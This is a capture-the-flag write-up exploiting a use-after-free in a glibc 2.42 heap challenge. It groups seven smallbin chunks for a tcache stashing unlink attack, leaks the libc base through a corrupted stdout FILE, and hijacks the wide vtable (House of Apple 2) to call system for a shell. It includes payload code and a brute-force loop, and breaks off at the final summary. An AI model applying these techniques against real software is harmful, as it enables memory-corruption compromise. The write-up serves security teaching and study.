if (e->key == tcache_key) return tcache_double_free_verify (e);
size_t tc_idx = csize2tidx (size);
if (tc_idx < TCACHE_SMALL_BINS)
if (tcache->num_slots[tc_idx] != 0) return tcache_put (p, tc_idx);
...
}
_int_free_chunk (arena_for_chunk (p), p, size, 0);

and malloc()'s:

  if (nb < mp_.tcache_max_bytes)
{
size_t tc_idx = csize2tidx (nb);
if (tc_idx < TCACHE_SMALL_BINS)
if (tcache->entries[tc_idx] != NULL) return tag_new_usable (tcache_get (tc_idx));
...
}
return __libc_malloc2 (bytes);

Note the asymmetry that is going to bite later on: free consults num_slots, malloc consults entires . count + num_slots == 7 is an invariant maintained by put/get, so entries == NULL implies num_slots == 7 . Remember that

tcache_double_free_verifysection 🙏

  for (size_t tc_idx = 0; tc_idx < TCACHE_MAX_BINS; ++tc_idx)
for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache");
if (misaligned_mem (tmp)) malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2");
}
e->key = 0;
__libc_free (e);

So a key collision costs a full scan of all 76 bins, and if the chunk isnt found int clears the key and retries the free — which just lands in tcache_put again. No free lunch there.

Unsorted-bin checks

Straight out of the disassembly of _int_malloc ( b2e4c — b2eb4 ):

   b2e4c:  mov    rax,QWORD PTR [rdx+0x8]      ; size = chunksize(victim)
b2e54: cmp rax,0x10
b2e58: jbe b3390 ; "malloc(): invalid size (unsorted)"
b2e5e: mov rsi,QWORD PTR [r11+0x888] ; av->system_mem
b2e65: cmp rsi,rax
b2e68: jb b3390
b2e6e: lea rbx,[rdx+rax*1] ; next = victim + size
b2e72: mov rcx,QWORD PTR [rbx+0x8]
b2e76: cmp rcx,0xf
b2e7a: jbe b33e8 ; "malloc(): invalid next size (unsorted)"
b2e89: mov rsi,QWORD PTR [rbx]
b2e90: cmp rsi,rax
b2e93: jne b3568 ; "mismatching next->prev_size (unsorted)"
b2e99: mov rsi,QWORD PTR [rdx+0x18] ; bck = victim->bk
b2e9d: cmp rdx,QWORD PTR [rsi+0x10]
b2ea1: jne b3450 ; bck->fd != victim -> abort
b2ea7: cmp QWORD PTR [rdx+0x10],r9
b2eab: jne b3450 ; victim->fd != unsorted_chunks(av) -> abort
b2eb1: test cl,0x1
b2eb4: jne b3630 ; "invalid next->prev_inuse (unsorted)"

Both link-integrity checks are present. The classic unsorted-bin attack is dead, as expected.

Dead ends, in the order I hit them

Writing these down because the shape of the final solution only makes sense against them

  1. Tcache poisoning — The obvious first move: free a chunk, edit it, write a fake fd. But fd is mangled with chunk_mem >> 12 , and we only know 4 bits of the heap. A full 8-byte overwrite needs the whole key. A 1-byte overwrite needs 4 more bits (1/16) and only relocates the allocation within 0x100 bytes. A 2-byte overwrite needs 12 more bits (1/4096). Even if the 1-byte version lands, the nearest interesting target — the tcache_perthread_struct at heap_base+0x10 — is 0x290 bytes away from the first user chunk, i.e. outside a 1-byte window, and chaining two 1-byte hops doesn’t work because the second hop needs a source pointer already inside the low 0x100 of the page. DEAD
  2. Fastbins — Same mangling, same problem. Also the 2.42 fastbin → tcache transfer loop re-validates chunksize per entry.
  3. Unsorted Bin Attack — Dead since 2.29 and the earlier “Unsorted Bin Checks” confirms it in 2.42
  4. Largebin Attack — Alive-ish but it writes a heap pointer to an arbitrary address. We don’t know heap addresses, and more importantly we don’t know an arbitrary libc address to target. Wrong shape.
  5. “Just leak with the unsorted bin” — When a chunk is split out of the unsorted bin, the returned buffer’s first 16 ytes still hold the old fd / bk — two main_Arena pointers. This is the standard leak… if yo have a show() . We don’t. And freeing that chunk into the tcache immediately overwrites both words with next / key .
  6. Hooks. — __malloc_hook / __free_hook were removed in 2.34. The symbols still exist in the symbol table (0x23b1c0 , 0x23b1c8) but they’re inert.
  7. Exit handlers — __exit_funcs is pointer-mangled with the TLS guard, needs a leak and the guard, and vuln() is an infinite loop that never calls exit() anyway.

At this point the shape of the answer is forced: the only unmangled attacker-reachable pointers in this whole system are the fd / bk fields of chunks in the unsorted/small/large bins. Those are raw. If we can get edit() onto one of them, we get a 2-byte partial overwrite of a genuine libc pointer, and the only entropy in the way is libc’s nibble.

The turning point — smallbin bk is a raw libc pointer ☠️

Concretely. Suppose the smallbin for some size has cunks in it. The list is circular through main_arena :

bin_at(av,i)  <->  newest  <->  ...  <->  oldest  <->  bin_at(av,i)

Insertion happens at the fd end, so:

  • bin->bk = oldest
  • oldest->bk = second-oldest … and so on
  • newest->bk = bin_at(av,i) — a pointer straight into main_arena

bin_at(av,i) = av + 0x60 + (-i1)*0x10 , so given a guess g for libc’s bits 12–15 and knowing every symbol offset, we can compute what that pointer’s low 16 bits are. Overwrite just those two bytes via edit() and the bk now points at any address we like in the same 64 KB window as main_arena — which includes the whole _IO_2_1 cluster.

That’s the primitive. Now: what does malloc do with a corrupted smallbin bk?

Tcache stack unlink attack in 2.42 — verification

The relevant code is the smallbin fast path in _int_malloc:

  if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted"); /* [A] */
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
...
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_small_bins)
{
mchunkptr tc_victim;
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{
bck = tc_victim->bk; /* [B] NOT validated */
set_inuse_bit_at_offset (tc_victim, nb);
bin->bk = bck;
bck->fd = bin; /* [C] arbitrary-ish write */
tcache_put (tc_victim, tc_idx); /* [D] arbitrary tcache entry */
}
}
}
return chunk2mem (victim);
}
}

Check [A] only guards the first unlink. The stashing loop at [B] follows tc_victim->bk with no bck->fd == tc_victim check at all, and [D] shoves whatever it finds into the tcache. This is the classic “tcache stashing unlink attack” and it is fully intact in 2.42

I confirmed it in the actual shipped binary rather than trusting the source, because those are not always the same build. The loop, disassembled:

   b3093:  mov    rcx,QWORD PTR [rax+0x18]      ; bck = victim->bk
b3097: cmp QWORD PTR [rcx+0x10],rax
b309b: jne b3770 ; [A] "smallbin double linked list corrupted"
b30a8: or QWORD PTR [rax+r10*1+0x8],0x1
b30ae: mov QWORD PTR [rdx+0x8],rcx ; bin->bk = bck
b30b2: mov QWORD PTR [rcx+0x10],rsi ; bck->fd = bin
b30ed: movzx r9d,WORD PTR [rdi+r8*2] ; r9 = num_slots[tc_idx]
b30f2: test r9w,r9w
b30f6: je b3170 ; no slots -> skip stashing
b30f8: cmp rsi,rcx
b30fb: je b3170 ; bin empty -> skip
--- loop top ---
b3110: mov rbx,rcx ; tc_victim = bck
b3113: mov rcx,QWORD PTR [rbx+0x18] ; [B] bck = tc_victim->bk (unchecked!)
b3117: or QWORD PTR [rbx+r10*1+0x8],0x1 ; set_inuse_bit_at_offset(tc_victim, nb)
b3127: lea r14,[rbx+0x10]
b312b: sub r9d,0x1 ; --num_slots
b312f: mov QWORD PTR [rdx+0x8],rcx ; bin->bk = bck
b3136: mov QWORD PTR [rcx+0x10],rsi ; [C] bck->fd = bin
b313e: xor rax,QWORD PTR [rdi+r12*8+0x8] ; mangle against current head
b3143: mov QWORD PTR [rbx+0x18],r15 ; tc_victim->key = tcache_key
b3147: mov QWORD PTR [rbx+0x10],rax ; tc_victim->next = mangled
b314b: mov QWORD PTR [rdi+r12*8+0x8],r14 ; [D] entries[tc_idx] = chunk2mem(tc_victim)
b3150: mov WORD PTR [rdi+r8*2],r9w
b3155: test r9w,r9w
b3159: je b3160 ; exit when num_slots hits 0
b315b: cmp rsi,rcx
b315e: jne b3110 ; exit when bck == bin

We can confirm from this disassembly. Now I can finally read off the exact contract for a fake chunk F that we want to land in the tcache:

| requirement                                                         | why                                                                           |
|---------------------------------------------------------------------|-------------------------------------------------------------------------------|
| `F % 16 == 0` | `misaligned_mem` check in `tcache_get` on `F+0x10` |
| `F+0x10` writable | `[C]` writes `bin` there, then `[D]`'s `tcache_put` writes the mangled `next` |
| `F+0x18` writable | `tcache_put` writes `tcache_key` there |
| `F+nb+8` writable | `set_inuse_bit_at_offset(F, nb)` ORs 1 into it |
| `[F+0x18]`'s **original value** `G` must satisfy: `G+0x10` writable | the `[C]` write of the *next* iteration runs before the loop-exit test |
| the loop must terminate **exactly** on `F` | otherwise it walks off into garbage |

That last row is the one that turned into a multi-hour problem.

The counting problem (this is where my time went)

The loop exits on num_slots == 0 or bck == bin . Let’s see what we need.

Say the smallbin holds k real chunks R1..Rk ( R1 = oldest = the victim). Then:

  • victim = R1 , bck = R1->bk = R2 , and check [A] validates R2->fd == R1 — so R2 must be pristine, meaning we can’t corrupt the second-oldest chunk.
  • the loop stashes R2, R3, ..., Rk and then follows Rk->bk. Normally that’s bin and the loop stops. So we corrupt Rk->bk — the newest chunk to point at F.
  • Rk->fd gets clobbered as collateral (we have to write through it to reach bk) but the stashing loop never reads fd of a stashed chunk, and [A] only checked R2->fd. So that’s free.
  • stash count = (k-1) real + 1 fake = k

For the loop to stop right after F, we need num_slots == k, at entry.

Now the killer. malloc only reaches _int_malloc if entries[tc_idx] == NULL . And count+num_slots == 7 is a put/get invariant. So:

entries[tc_idx] == NULL → count == 0 → num_slots == 7 → k == 7

We need seven chunks in one smallbin, with that size’s tcache bin completely untouched.

Breaking this garbage invariant 🙏

I tried fairly hard to get num_slots < 7 with entries == NULL, because 3 chunks would have been much easier than 7:

  • Shorten the tcache chain — If entries c4 → c1 (skipping c2,c3), two tcache_gets empty it while num_slots only climbs to 5. But rewriting c4->next to point at c1 requires knowing the mangling key. DEAD!
  • Make REVEAL_PTR(head->next) == 0 — Needs stored == mem>>12 . Same wall.
  • tcache_double_free_verify — Clears the key and retries — ends at tcache_put. No.
  • Terminate the loop with bck == bin instead — This needs [F+0x18 == bin_at(av, idx). Where in libc does the value bin_at(av, i) appear? Only in bins[2(i-1)] and bins[2(i-1)+1] — and only while bin I is empty. But our bin isn’t empty (it’s the whole point). Setting F = bin_at(av,i) for an empty bin j gives a self-loop ( [F+0x18] == F), which buys exactly one extra iteration before tcache_put overwrites F+0x18 with tcache_key and the next iteration writes to [tcache_key+0x10] → instant segfault. So I mapped the alignment constraints for chains through the bins array ( G=0mod16 forces bins[j] with j odd, which always resolves back to the same bin_at) and they are all self-loops. There is no length-5 pointer chain to ride.

So: 7 chunks, no shortcuts. FINE 😭

Why “just free 7 chunks” doesn’t work

The obvious plan — fill the tcache, then free 7 more of the same size so they go to the unsorted bin and get sorted into the smallbin — collapses on the slot budget:

  • filling tcache[I] needs 7 chunks of that size;
  • pushing 7 more past the tcache needs 7 more;
  • we have 7 pointer slots, and malloc of that size will always be served from the tcache while it’s full. You can never allocate 7 fresh ones while the tcache holds 7.

Variations I worked through and discarded:

  • Double free via UAF — after filling the tcache with c1..c7, delete() them a second time — but tcache_double_free_verify finds them and aborts. Clearing the key with edit() requires overwriting next too, which corrupts the list we later have to drain.
  • Fastbin Route — For chunk size ≤ 0x80, the second free lands in the fastbin (no consolidation, inuse bits untouched — so adjacent chunks stay separable). But malloc_consolidate merges them all into one chunk when it finally moves them to unsorted, so you need spacers between all seven → 14 chunks → back to the slot budget. And a spacer after c7 (to keep it away from the top chunk) needs an 8th slot at exactly the wrong moment.
  • Forging headers to skip the tcache — free() bypasses the tcache when size >= 0x408 , but a chunk with a forged size ≥ 0x410 gets sorted into a largebin , not a smallbin.

Every road goes through “you need 14 hunks and you have 7 slots”. So stop trying to “free” smallbin chunks.

The unlock: smallbin chunks don’t have to come from free() . They can come from splitting.

When malloc carves a request out of a larger free chunk, the remainder goes to the unsorted bin, and the next malloc sorts it into whatever bin its size says. That remainder has never been through free , so:

  • it never touched the tcache,
  • entries[tc_idx] for its size stays NULL ,
  • num_slots[tc_idx] stays 7 .

Exactly the state we need. And the split source is easy; our max request is 0x500 → chunk 0x510, which is above mp_.tcache_max_bytes, so free()ing it goes straight to the unsorted bin.
So one “manufacturing cycle” is:

add(0, 0x500)   # P_i : fresh 0x510 chunk off the top
add(1, 0x500) # guard, so freeing P_i doesn't merge into the top chunk
delete(0) # P_i -> unsorted bin (0x510 skips the tcache)
add(2, CARVE) # split P_i: we get the front, remainder R_i lands in unsorted

and the next cycle’s first add(0,0x500) is a non-smallbin request, so it trip through the unsorted bin sorts R_{I-1} into the smallbin on the way past. Seven cycles → seven chunks.

That’s four menu ops per chunk, three slots used ( 0 , 1 , 2), and all of them reusable.

Size choosing — binmap-steal trap

My first attempt used a remainder of 0x3e0 (chunk) , carved with a request whose chunk was 0x130 . It looked great on paper and would have been destroyed immediately, because of this:

after the unsorted bin is drained, _int_malloc scans the binmap upward from smallbin_index(nb)+1 looking or the smallest non-empty bin that can serve the request. If our carve request is smaller than the remainder size, the bin(remainder) sits above bin(carve) in the scan order, and the very allocation meant to create R_i will instead grab R_1 out of our smallbin and split it. The whole structure eats itself.

So the constraint is: carve chunk size > remainder chunk size, and every other allocation we make must also be larger than the remainder (or not in smallbin range at all).

With P = 0x510 ::

carve + remainder = 0x510,   carve > remainder   ⟹   remainder < 0x288

Picked:

| name        | request    | chunk size | notes                                               |
|-------------|------------|------------|-----------------------------------------------------|
| `BIG` | `0x500` | `0x510` | above tcache_max_bytes → unsorted on free |
| `CARVE` | `0x2f0` | `0x300` | `(0x2f0+8+15) & ~15 = 0x300` |
| `REM` | — | `0x210`. | `0x510 - 0x300`; smallbin **33**, tcache idx **31** |
| `ATK` | `0x208` | `0x210` | the malloc that triggers the stash |

0x210 >> 4 = 33 → bin_at(av,33) = 0x234ac0 + 0x60 + 32*0x10 = 0x34d20.

csize2tidx(0x210) = (0x210-0x20)/0x10 = 31

The guards are 0x500 too, so they’re never smallbin-range and never steal.

Hm, it works(?0

def groom(t):
for _ in range(7):
t.add(0, BIG)
t.add(1, BIG)
t.dele(0)
t.add(2, CARVE)
t.add(3, BIG) # one more non-smallbin malloc to sort R7 in

Walked the smallbin in gdb after groom() :

bin=0x728091634d20
0x55ff7f09b300 size 0x211 fd 0x728091634d20 bk 0x55ff7f09c020
0x55ff7f09c020 size 0x211 fd 0x55ff7f09b300 bk 0x55ff7f09ca40
0x55ff7f09ca40 size 0x211 fd 0x55ff7f09c020 bk 0x55ff7f09d460
0x55ff7f09d460 size 0x211 fd 0x55ff7f09ca40 bk 0x55ff7f09de80
0x55ff7f09de80 size 0x211 fd 0x55ff7f09d460 bk 0x55ff7f09e8a0
0x55ff7f09e8a0 size 0x211 fd 0x55ff7f09de80 bk 0x55ff7f09f2c0
0x55ff7f09f2c0 size 0x211 fd 0x55ff7f09e8a0 bk 0x728091634d20
count 7 ended at bin True

Seven chunks. bin_at at main_arena+0x260 exactly as computed. R7->bk is the raw main_arena pointer we’re going to shave. tcache->entries[31]q untouched, num_slots[31] == 7.

The heap layout (full)

Address         Memory Space               Notes / Pointers
─────────────── ────────────────────────── ────────────────────────────────────────────────
P_i + 0x000 ┌──────────────────────────┐ Original chunk P_i (size 0x510)
│ CARVE chunk │ After delete+carve, size becomes 0x300
│ │ ↳ nikkis[2] = P_i+0x10, sizes[2] = 0x2f0
P_i + 0x300 ├──────────────────────────┤ Chunk R_i (size 0x210) ➔ goes to smallbin 33
│ prev_size │ @ +0x300
│ size = 0x211 │ @ +0x308 (0x210 | PREV_INUSE)
│ fd │ @ +0x310
│ bk │ @ +0x318
P_i + 0x510 ├──────────────────────────┤ Guard chunk g_i (size 0x510)
│ │ Allocated, never freed
P_i + 0xa20 └──────────────────────────┘ Next cycle's P_{i+1}

R_i is sandwiched between the CARVE chunk (in use) and g_i (in use), so nothing ever consolidates. g_i's pointer is thrown away every cycle by re-adding over nikkis[1] — the chunk stays allocated, which is all we need from it.

Getting a writable pointer into a freed chunk we still own

Now, how do we edit R7->bk ? R7 is a free chunk in a bin; we never had a pointer to it.

This is where the size/pointer desync pays off. Look at the last cycle:

  • add(0, 0x500) set nikkis[0] = P7+0x10 , sizes[0] = 0x500.
  • delete(0) freed P7 but left nikkis[0] and sizes[0] alone.
  • add(2, 0x2f0) carved the front of P7 , handling the same address back as nikkis[2] with sizes[2] = 0x2f0

So nikkis[0] still points at P7+0x10 with a 0x500 byte write window, while the memory underneath is now a 0x300 chunk followed by our smallbin chunk R7. edit(0) writes straight through the boundary.

Offsets from nikkis[0] = P7+0x10:

|      field     |   address  |  offset |
|----------------|------------|---------|
| `R7.prev_size` | `P7+0x300` | `0x2f0` |
| `R7.size` | `P7+0x308` | `0x2f8` |
| `R7.fd` | `P7+0x310` | `0x300` |
| `R7.bk` | `P7+0x318` | `0x308` |

So the payload is 0x30a ytes — and because read() returns short, those last two bytes land on bk's low half and stop:

low16 = (g * 0x1000 + F_OFF) & 0xffff
t.edit(0, b'A' * 0x2f8 # filler over the CARVE chunk's user data
+ p64(REM | 1) # R7.size must be restored exactly: 0x211
+ p64(0) # R7.fd -- clobbered, never checked
+ p16(low16)) # R7.bk -- low 2 bytes only

The p64(REM|1) matters: we’re writing straight through R7’s size field, so it has to come out the other side as 0x211 or the smallbin path won’t recognize it. ( PREV_INUSE is set because split reminders are always created with set_head(remainder, sz | PREV_INUSE) .)

Then:

t.add(4, ATK)   # malloc(0x208) -> smallbin path -> stashes R2..R7, then F
t.add(5, ATK) # malloc(0x208) -> tcache_get -> returns F+0x10, inside libc

add(4) returns R1 (the victim) — we don’t care about it. What we care about is that during that call the stashing loop pushed R2,R3,R4,R5,R6,R7 (six) and then F (seventh) into entries[31] , driving num_slots from 7 to 0 exactly on F. F+0x10 is the list head, so add(5) hands it straight back.

nikkis[5] is now a pointer into libc with sizes[5] = 0x208 . We can write 520 bytes anywhere we aimed, as many times as we like.

Picking F, and the 4-bit brute force

The partial overwrite keeps bits 16+ of bin_at(av,33) and replaces bits 0–15. So F must live in the same 64 KB window as main_arena+0x260 , and we must be able to compute its low 16 bits — which needs g, libc’s bits 12–15.

With libc_base ≡ g·0x1000 (mod 0x10000), the reachability test for a target at offset Tis:

(g*0x1000 + T) >> 16 == (g*0x1000 + 0x234d20) >> 16

For F = 0x235500 this holds for every g except 11 (at g=11 , 0xb000+0x4d20 = 0xfd20 lands in window 0 while 0xb0000x5500 = 0x10500 lands in window 1). So the candidate set is 15 values, and each fresh connection re-randomises ASLR, giving ~1/16 per attempt regardless of which g we pick. Expected ~16 connections.

Validation is free: if the guess is right the leak arrives and its low 12 bits must be 0x643 (thats _IO_2_1_stdout_ + 0x83 ), the derived base must be page-alined, and base>>12&0f must equal the g we guessed. Three independent checks; a wrong guess essentially never passes.

Crash #1: [F+0x18] has to be a valid pinter too

My first pick was F = _IO_list_all — 0x10 = 0x2354b0 so that malloc would hand back 0x2354c0 and the write window would start at _IO_list_all and run forward through _IO_2_1_stderr_ into _IO_2_1_stdout_. Clean, right?

libc base 0x7cece3a00000  g 0
low16 0x54b0 resulting F 0x7cece3c354b0
edited
stashed ok
... EOFError, SIGSEGV

The stash itself “worked” — the crash is after. Re-reading the disassembly line-by-line.. :

   b3110:  mov    rbx,rcx                  ; rbx = F        (7th iteration)
b3113: mov rcx,QWORD PTR [rbx+0x18] ; rcx = *(F+0x18) <-- READ FIRST
...
b3136: mov QWORD PTR [rcx+0x10],rsi ; *(rcx+0x10) = bin <-- THEN WRITE
...
b3155: test r9w,r9w
b3159: je b3160 ; only NOW do we exit

The bck->fd = bin store for the next chunk happens before the num_slots == 0 exit test. So even on the final iteration, whatever sits at F+0x18 is dereferenced-and-written. 0x2354c8 is padding between _IO_list_all and _IO_2_1_stderr_ — it’s zero — so the loop did (0x0+0x10) = bin. Segfault 🎉

New constraint: (F+0x18)must already contain a pointer to writable memory.

Where’s a nice one near stdout? _IO_2_1_stderr_._IO_buf_base. main() calls setvbuf(stderr, NULL, _IONBF, 0) , which sets _IO_buf_base = &stderr->_shortbuf = _IO_2_1_stderr_ + 0x83. That field lives at _IO_2_!_stderr_ + 0x38 = 0x235518.

So set F = 0x235500 (= _IO_2_1_stderr_ + 0x20, and 0x500 % 16 == 0✓). Then:

  • F+0x10 = 0x235510 → what malloc returns. Write window 0x235510 .. 0x235718. _IO_2_1_stdout_ sits at +0xb0 inside it.
  • F+0x18 = 0x235518 → holds 0x235563, well inside libc’s writable data. The stray *(G+0x10) = bin write lands at 0x235573, inside _IO_2_1_stderr_, which we do not care about.
  • F + nb + 8 = 0x235500 + 0x218 = 0x235718 → __gconv_max_path_elem_len. ORing 1 into it is
    harmless unless something calls iconv.

Re-ran and gdb confirmed the corrupted bin pointer went exactly where predicted:

$1 = (mchunkptr) 0x642a9b8962c0                        # bin->fd, still a heap chunk
$2 = (mchunkptr) 0x75b75b035563 <_IO_2_1_stderr_+131> # bin->bk == G. stash completed.

Now, let’s turn a one libc write into a libc leak!

We can now write 520 bytes starting at libc+0x235510 , but we still don’t know the libc base, so we can’t write any absolute pointer. Classic chicken-and-egg. The way out is the stdout partial-overwrite leak.

_IO_2_1_stdout_ starts at 0xb0 in our window. Its fields:

0x00 _flags        0x20 _IO_write_base   0x38 _IO_buf_base   0x70 _fileno
0x08 _IO_read_ptr 0x28 _IO_write_ptr 0x40 _IO_buf_end 0x83 _shortbuf
0x10 _IO_read_end 0x30 _IO_write_end 0x88 _lock 0xd8 vtable
0x18 _IO_read_base 0xa0 _wide_data

Because setvbuf(stdout, NULL, _IONBF, 0) ran, _IO_write_base == _IO_write_ptr == _IO_write_end == _IO_buf_base == &stdout->_shortbuf == stdout+0x83.

Idea: write exactly up to and including the low two bytes of _IO_write_baseand stop. Everything before it (_flags and the three read pointers) gets fully overwritten — fine, we choose those. _IO_write_base’s upper six bytes survive, so it stays a valid libc pointer, just relocated downward within its 64 KB window. _IO_write_ptr is untouched at stdout+0x83. Result: write_base < write_ptr, so the next flush dumps everything in between to fd 1.

Aim write_base at stdout+0x38 , i.e. _IO_buf_base — which holds stdout+0x83. The dump is 0x4b bytes and its first 8 bytes are a libc pointer.

Payload (total 0xd2 bytes — 0xb0 of filler to reach stdout, then 34 more):

def leak_payload(g):
wb_low = (g * 0x1000 + IO_STDOUT + 0x38) & 0xffff
p = b'\x00' * (IO_STDOUT - CHUNK_OFF) # 0xb0 bytes: _IO_2_1_stderr_ tail, don't care
p += p32(0xfbad1800) + p32(0) # _flags
p += p64(0) * 3 # read_ptr / read_end / read_base
p += p16(wb_low) # low 2 bytes of _IO_write_base
return p

Why 0xfbad1800 specifically?

  • 0xfbad0000 — the _IO_MAGIC bits, keeps it looking like a real FILE.
  • 0x800 _IO_CURRENTLY_PUTTING — so _IO_new_file_overflow takes the “already putting” branch instead of re-initialising the buffer and wiping our write_base.
  • 0x1000 _IO_IS_APPENDING — this one is easy to miss. new_do_write does the code below. Without the appending bit it compares _IO_read_end against _IO_write_base and seeks if they differ. We can’t make them equal — write_base’s high bytes are unknown to us — and a seek on a socket fails. Setting _IO_IS_APPENDING skips the whole branch.
    if (fp->_flags & _IO_IS_APPENDING) /* nothing */;
else if (fp->_IO_read_end != fp->_IO_write_base) { ...lseek... }
count = _IO_SYSWRITE (fp, data, to_do);
  • _IO_NO_WRITES (0x8) must be clear. 0x…1800 & 8 == 0. ✓

First run of the full chain:

[*] true libc base 0x700b3c800000  g=0
[*] leak 4356a33c0b7000004456a33c0b700000
[+] libc base = 0x700b3c800000

Decoding those 16 hex bytes little-endian gives two words: 0x700b3ca35643 and 0x700b3ca35644 — stdout+0x83 and stdout+0x84, i.e. _IO_buf_base and _IO_buf_end, exactly as designed. 0x700b3ca35643–0x235643 = 0x700b3c800000, which matches the real base read out of /proc/<pid>/maps. Leak finally works.

Crash #2: glibc 2.42 printf doesn’t work the way you usually remember

Program received signal SIGSEGV
#0 __memcpy_evex_unaligned_erms ()
#1 __GI_memcpy (__dest=<optimized out>, __src=<optimized out>, __len=31)
#2 __printf_buffer_write (buf=0x7ffc020ea1a0, s=0x57d0b9bd5028 "[1] add\n[2] delete\n[3] edit\n>> ", count=31)
at ./stdio-common/Xprintf_buffer_write.c:39
#3 __printf_buffer (...) at ./stdio-common/vfprintf-internal.c:652
#4 __vfprintf_internal (s=0x7a3e646355c0 <_IO_2_1_stdout_>, ...) at ./stdio-common/vfprintf-internal.c:1543
rdi 0x0

rdi == 0 — memcpy to NULL. And the backtrace has __printf_buffer, not _IO_new_file_xsputn.

Um WHAT?? 💀 Why though?

Modern glibc (2.37+) rewrote printf around a struct __printf_buffer. From stdio-common/printf_buffer_to_file.c:

void
__printf_buffer_to_file_switch (struct __printf_buffer_to_file *buf)
{
if (buf->fp->_IO_write_ptr < buf->fp->_IO_write_end)
{
/* write directly into the FILE's buffer */
buf->base.write_ptr = buf->fp->_IO_write_ptr;
buf->base.write_end = buf->fp->_IO_write_end;
}
else
{
/* use the on-stack staging area */
buf->base.write_ptr = buf->stage;
buf->base.write_end = array_end (buf->stage);
}
buf->base.write_base = buf->base.write_ptr;
}

and the flush:

  if (buf->base.write_end == array_end (buf->stage))
{
size_t count = buf->base.write_ptr - buf->stage;
if ((size_t) _IO_sputn (buf->fp, buf->stage, count) != count) /* <-- _IO_XSPUTN */
...
}

So printf only calls the vtable’s __xsputn if _IO_write_ptr >= _IO_write_end . My payload had left write_ptr = 0 and write_end = V (a lib pointer, because I’d carelessly overlapped the fake _IO_wide_data's _wide_vtable slot onto stdout+0x30). 0 < V, so printf happily decided stdout had a buffer at address 0 and mepcpy’d into it.

Two fixes, both needed:

  1. Move the fake _IO_wide_data so its +0xe0 (_wide_vtable) doesn’t land on stdout+0x30. I moved it fromC+0x00 to C+0x20, which puts _wide_vtable atC+0x100 = stdout+0x50 (_IO_backup_base — nobody cares).
  2. Explicitly set _IO_write_ptr = _IO_write_end = 0. 0 < 0 is false → staging area →_IO_sputn → our vtable.

This is a genuinely modern-glibc-specific gotcha and it’s worth remembering: on 2.37+, an FSOP that relies on printf reaching _IO_OVERFLOW needs _IO_write_ptr >= _IO_write_end.

HOUSE OF APPLE 2 FSOP

Now the actual hijack. We replace stdout’s vtable with _IO_wfile_jumps (which lives in the __libc_IO_vtables section, so IO_validate_vtable is happy) and drive:

printf
→ __vfprintf_internal
→ __printf_buffer_to_file_switch : write_ptr >= write_end → staging area
→ flush → _IO_sputn(fp,…) = _IO_XSPUTN = _IO_wfile_xsputn
count = wd->_IO_write_end - wd->_IO_write_ptr = 0
→ _IO_OVERFLOW (f, WEOF) = _IO_wfile_overflow
flags & _IO_NO_WRITES == 0 ✓
(flags & _IO_CURRENTLY_PUTTING) == 0 ✓
→ wd->_IO_buf_base == NULL ✓
→ _IO_wdoallocbuf(f)
wd->_IO_buf_base still NULL ✓
!(flags & _IO_UNBUFFERED) ✓
→ _IO_WDOALLOCATE(f)
= f->_wide_data->_wide_vtable->__doallocate (f)
= V[0x68](rdi = &_IO_2_1_stdout_)
= system(" sh;")

__doallocat is at offset 0x68 in struct _IO_jump_, and _wide_vtable is at offset 0xe0 in struct _IO_wide_data. The wide vtable is not subject toIO_validate_vtable — only the main one is — so V can be anything.

The _flags trick

system() gets rdi = fp = &_OI_2_1_stdout_ , so the command string is read from the first bytes of the FILE. _flags is an int (4 bytes) followed by 4 bytes of padding, so we have 8 bytes to play with but the first 4 are also the flags and they have to pass the checks above ^^

  • /bin/sh fails because / is 0x2f and 0x2f & 8 = 8 → _IO_NO_WRITES set → _IO_wfile_overflow would just bail the hell out
  • sh would fail differently because its 0x73 and 0x73 & 2 = 2 → _IO_UNBUFFERED set → _IO_wdoallocbuf which skips the _IO_WDOALLOCATE call entirely

four spaces would work perfectly though. _flags = 0x20202020:

| bit     | flag                    | value | needed                                              |
|---------|-------------------------|-------|-----------------------------------------------------|
| `0x2` | `_IO_UNBUFFERED` | 0 | must be 0 (else `_IO_wdoallocbuf` skips the call) |
| `0x8` | `_IO_NO_WRITES` | 0 | must be 0 (else `_IO_wfile_overflow` returns early) |
| `0x800` | `_IO_CURRENTLY_PUTTING` | 0 | must be 0 (or `wd->_IO_write_base == NULL`) |
| `0x200` | `_IO_LINE_BUF` | 0 | keeps `_IO_wfile_xsputn` on the simple path |

So the payload begins b’ sh;\x00' → _flags = 0x20202020, padding = ”sh;\0" andsystem() receives the string sh;. The shell ignores leading whitespace anyways

The rest of FILE

C+0x000   (start of write window)
C+0x010 V = fake wide vtable → V+0x68 = C+0x078 = system
C+0x020 W = fake _IO_wide_data → W+0x18 = C+0x038 = 0 (_IO_write_base)
W+0x30 = C+0x050 = 0 (_IO_buf_base)
W+0xe0 = C+0x100 = V (_wide_vtable)
C+0x090 16 zero bytes → used as stdout->_lock
C+0x0b0 = _IO_2_1_stdout_
+0x000 _flags = " " ; +4 = "sh;\0"
+0x028 _IO_write_ptr = 0 \ force the staging-area path
+0x030 _IO_write_end = 0 /
+0x070 _fileno = 1
+0x088 _lock = C+0x90
+0x0a0 _wide_data = W
+0x0c0 _mode = 0 (so ORIENT / _IO_fwide takes the narrow path)
+0x0d8 vtable = _IO_wfile_jumps
C+0x190 (end of write; stops just before the stderr/stdout/stdin globals at 0x2356a0)

Everything is placed inside the single 0x190 byte write with C = libc + 0x235510 ^^

Don’t forget that we need to brute force ASLR (1/16 chance)

cands = [g for g in range(16) if g != 11]
for rnd in range(40):
for g in cands:
if attempt(g): return
$ python3 exploit.py
[*] round 1 g=14
[*] round 1 g=15
[*] round 2 g=0
[*] round 2 g=1
COMPFEST18{さぁ_E1n5_zW31_Dr3i_重なり合う_fdf0b744ee277fcc}

In conclusion,

bug: delete() never clears nikkis[idx] → UAF / edit-after-free

chain:

